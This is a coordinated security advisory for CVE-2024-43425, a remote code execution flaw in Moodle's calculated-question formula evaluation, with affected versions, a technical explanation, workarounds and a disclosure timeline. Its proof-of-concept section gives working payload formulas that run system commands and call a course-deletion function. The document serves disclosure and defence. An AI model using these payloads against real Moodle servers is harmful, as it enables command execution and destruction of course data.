Moodle: Remote Code Execution via Calculated Questions
Attackers with the permission to create or modify questions in Moodle courses are able to craft malicious inputs for calculated questions, which can be abused to execute arbitrary commands on the underlying system.
Details
- Product: Moodle
- Affected Versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions
- Fixed Versions: 4.1.12, 4.2.9, 4.3.6, 4.4.2
- Vulnerability Type: Remote Code Execution
- Security Risk: high
- Vendor URL: https://moodle.org/
- Vendor Status: fixed version released
- Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2024-009
- Advisory Status: published
- CVE: CVE-2024-43425
- CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43425
Introduction
Moodle is a Learning Management System (LMS) designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments.
(from vendor’s homepage)
More Details
Moodle allows trainers to create “calculated questions”, which offer a way to create individual numerical questions by the use of wildcards (i.e. you can use common variables names as x , y enclosed in curly braces to create the wildcards {x} and {y}) that are substituted with random values when the quiz is taken. Furthermore, they allow to specify a formula that is used to calculate the correct answer for the individual question.
It was found that the result verification is realized by passing the formula to
the php eval()
function after sanitizing it for malicious inputs. However,
this sanitization is not complete, thus allowing attackers to execute arbitrary
commands.
Two different approaches were identified to circumvent the sanitization logic.
First, undefined variables are not substituted at all before being passed to the
eval()
function, leaving them untouched as part of the formula. Additionally,
the sanitization checks for variable names are less strict than the implemented
checks for all other parts of the formula. This can be abused to call arbitrary
functions when using the PHP object->{"member"}
syntax.
Next, the list of explicitly allowed mathematical functions can be used to construct arbitrary function names as strings using bit-wise operations, which can be called as variable functions when followed by parentheses. The only identified way to add the required parentheses is by using the built-in variable substitution, thus allowing attackers to call arbitrary functions defined in the Moodle context while passing a single numeric argument. The output of the function is revealed to attackers.
Proof of Concept
First approach:
As a trainer, open the question bank, add a new calculated question. Set the
question text to {b}
and the answer formula to
(1)->{system($_GET[chr(97)])}
. Set the grade to 100%
for this answer.
After saving, the dataset has to be configured. To prevent the variable
{system($_GET[chr(97)])}
from being substituted, the respective drop-down
list that is used to determine if the variable is a private or shared dataset
can be modified in the web browser’s inspector to the value 0 before being
submitted. Set the substitution for variable {b}
to use a new private
dataset.
Go to the next page, note the error that a parameter is missing for the system
command. Supply the desired command by appending &a=[arbitrary command]
to the
URL. The output of the specified system command will be included at the top
of the resulting HTTP response.
Second approach:
As a trainer, open the question bank, add a new calculated question. Set the
question text to {a}
and the answer formula to {a}
. Set the grade to 100%
for this answer.
Save, go to the next page and define the value range for {a}
to the desired
numeric parameter passed to the function to be called.
Save the question, then edit it again. Set the answer formula to:
((acos(2) . 0+acos(2)) ^ (-4 . 6 . 0 . 0 . 0) ^ (3 . -3 . 0 . 0 . 0) ^
(0 . 9 . 0 . 0 . -8) ^ (0 . 3 . 2 . 0 . 8 . 0)){a}
The above expression evaluates to the string PRINTF
and the variable
{a}
will later be substituted by the number in the data set enclosed in
parentheses.
Saving the modified question will result in an error, but the question will
still be saved. Go back to the question bank and preview the question.
Note that the previously defined number is printed to the beginning of the
preview page, showing that the printf()
function was indeed executed.
To demonstrate the impact of this approach, the following formula can be used instead:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^
(9 . 5 . 3 . 9 . -9 . -3 . 3 . -8 . -9) ^
(3 . 1 . 1 . 2 . 8 . 2 . 9 . 1 . 2 . 6 . -1 . 2) ^
(0 . 0 . 0 . 0 . 0 . 0 . 5 . 0 . 0 . 0 . 6 . 1 . 0) ^
(0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0)){a}
This formula evaluates to the DELETE_COURSE
function, which deletes the course
with the specified ID, bypassing any permission checks.
Workaround
Patch the sanitization function qtype_calculated_find_formula_errors
in
/question/type/calculated/questiontype.php
to always return false if
calculated questions are not used.
Alternatively, remove the permission to create or modify questions from users who cannot be trusted to the same degree as a server administrator.
Fix
Upgrade Moodle to a version without the vulnerability.
Security Risk
Attackers who can create or modify questions in any course can execute arbitrary commands on the underlying system. Consequently, this vulnerability poses a high risk.
Timeline
- 2024-07-05 Vulnerability identified
- 2024-07-10 Customer approved disclosure to vendor
- 2024-07-12 Vendor notified
- 2024-08-10 Vendor released fixed version
- 2024-08-19 Vendor released security announcement
- 2024-08-23 Customer approved release of advisory
- 2024-08-27 Advisory published
RedTeam Pentesting GmbH
RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/